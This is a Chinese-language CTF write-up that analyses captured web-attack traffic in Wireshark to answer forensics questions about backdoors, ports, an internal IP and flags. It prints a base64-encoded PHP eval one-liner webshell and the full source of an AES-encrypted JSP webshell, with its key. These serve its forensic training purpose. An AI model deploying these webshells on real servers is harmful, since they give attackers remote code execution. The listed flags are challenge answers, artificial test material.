1.ez_web
Q1:服务器自带的后门文件是什么?
常用http过滤命令:
http.request.full_uri
http.request.method==POST
查看第一个POST请求,发现关键点file_put_contents(备注:file_put_contents内置函数,用于将字符串写入文件),分析可知,攻击者首先通过ViewMore.php写入一句话木马d00r.php,然后通过d00r.php执行系统命令,具体分析如下:
file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));,
file_put_contents 函数将经过Base64编码的PHP代码写入到一个名为'd00r.php'的文件中。 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== base64解码后对应的PHP代码为
<?php eval($_POST['cmd']);?>(经典的php一句话木马)
然后通过一句话木马文件d00r.php执行whoami,ls等一系列系统命令。
因此服务器自带的后门文件是ViewMore.php。
Q2:服务器的内网IP是什么?
如下所示:第22251个流,追踪http数据流,
查看ipconfig的回显,发现内网ip地址为:192.168.101.132
Q3:攻击者往服务器中写入的key是什么?
追踪http数据流,将cmd执行命令进行url解码,分析可知:
file_put_contents
函数将解码得到的数据写入到名为k3y_f1le
的文件中,
base64解码发现:PK开头,直接保存为1.zip
压缩文件存在密码?
继续查看POST请求包,追踪23473流发现执行了cat /passwd命令,猜测响应值为密码
解压可得到key.txt
解压密码:7e03864b0db7e6f9
key.txt
flag值:7d9ddff2-2d67-4eba-9e48-b91c26c42337
2.hard_web
Q1:服务器开放了那些端口?按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80,81,82端口,即答案为80,81,82
TCP扫描端口,如果端口是开放的,那么服务端会返回SYN + ACK数据包
因此需要过滤SYN、ACK状态都为1的包,标志位都处于Set状态的包
过滤命令如下:
tcp.flags.syn==1 and tcp.flags.ack==1
因此服务器开放的端口为80,888,8888
Q2:服务器根目录下得flag值是多少?
Q3:webshell的连接密码是多少?
直接过滤post请求,本流量包post请求就下面几条,一个一个追踪tcp数据流(或者http数据流)
追踪数据流发现,POST流量全部都是加密的,完全看不懂请求和响应的内容。
重新过滤http请求,在24207个流发现,攻击者查看(cat )shell.jsp内容,加密webshell,其密钥为748007e861908c03。
格式化代码:AES密钥 webshell连接密码,后续POST的流量都是加密的。
<% !String xc = "748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
} %> <%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class) session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {} %>
追踪TCP数据流,解密post流量
将POST请求体中的数据以hex格式进行显示,即:显示为原始数据,以0d0a进行分隔(去除请求头和响应头,留下请求体信息以及响应体信息)。
AES解密POST请求数据,具体如下:
TCP追踪流24362 解密流量
解密请求体,发现cat /flag
继续解密该请求对应的响应体,具体如下:
得到flag
flag{9236b29d-5488-41e6-a04b-53b0d8276542}
注意:追踪TCP流需要解码gzip。什么是gzip请参考:什么是gzip?-CSDN博客